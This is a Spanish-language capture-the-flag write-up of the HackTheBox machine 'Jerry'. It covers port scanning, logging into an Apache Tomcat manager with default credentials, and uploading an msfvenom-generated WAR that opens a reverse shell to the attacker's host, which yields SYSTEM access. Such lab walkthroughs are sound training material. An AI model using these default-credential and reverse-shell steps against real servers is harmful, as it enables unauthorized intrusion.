¡Hola! Vamos a resolver de la máquina Jerry
de dificultad “Fácil” de la plataforma HackTheBox.
Técnicas Vistas:
- Information Leakage
- Abusing Tomcat [Intrusion & Privilege Escalation]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Jerry
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.95
PING 10.10.10.95 (10.10.10.95) 56(84) bytes of data.
64 bytes from 10.10.10.95: icmp_seq=1 ttl=127 time=42.3 ms
--- 10.10.10.95 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.95 -oG allPorts
PORT STATE SERVICE REASON
8080/tcp open http-proxy syn-ack ttl 127
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
nmap -sCV -p8080 10.10.10.95 -oN targeted
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
3
❯ whatweb http://10.10.10.95:8080
http://10.10.10.95:8080 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache-Coyote/1.1], IP[10.10.10.95], Title[Apache Tomcat/7.0.88]
Accedemos al servicio web por el puerto 8080 y vemos la página principal de un Apache Tomcat
. Accediendo al login de manager y probando credenciales por defecto de Apache Tomcat tomcat - s3cret
conseguimos acceso.
Observamos que tenemos la capacidad de subir archivos WAR
por lo que procedemos a crear uno que nos entable una reverse shell con la heramienta msfvenom
. Nos ponemos en escucha en el puerto 443, subimos el archivo y lo ejecutamos desde el panel de manager
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.60 LPORT=443 -f war -o shell.war
Payload size: 1093 bytes
Final size of war file: 1093 bytes
Saved as: shell.war
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.60] from (UNKNOWN) [10.129.38.5] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
Mediante este exploit conseguimos acceso con usuario nt authority\system
por lo que no precede escalada de privilegios
Flags
Tras una búsqueda desde la raíz localizamos las flags en el directorio Desktop\flags del usuario Administrator. Con el comando type
nos muestra el contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 06:09 AM <DIR> .
06/19/2018 06:09 AM <DIR> ..
06/19/2018 06:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 2,366,488,576 bytes free
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0f****************
root.txt
04a8b36e1545a4553****************
Hemos completado la máquina Jerry de HackTheBox!! Happy Hacking!!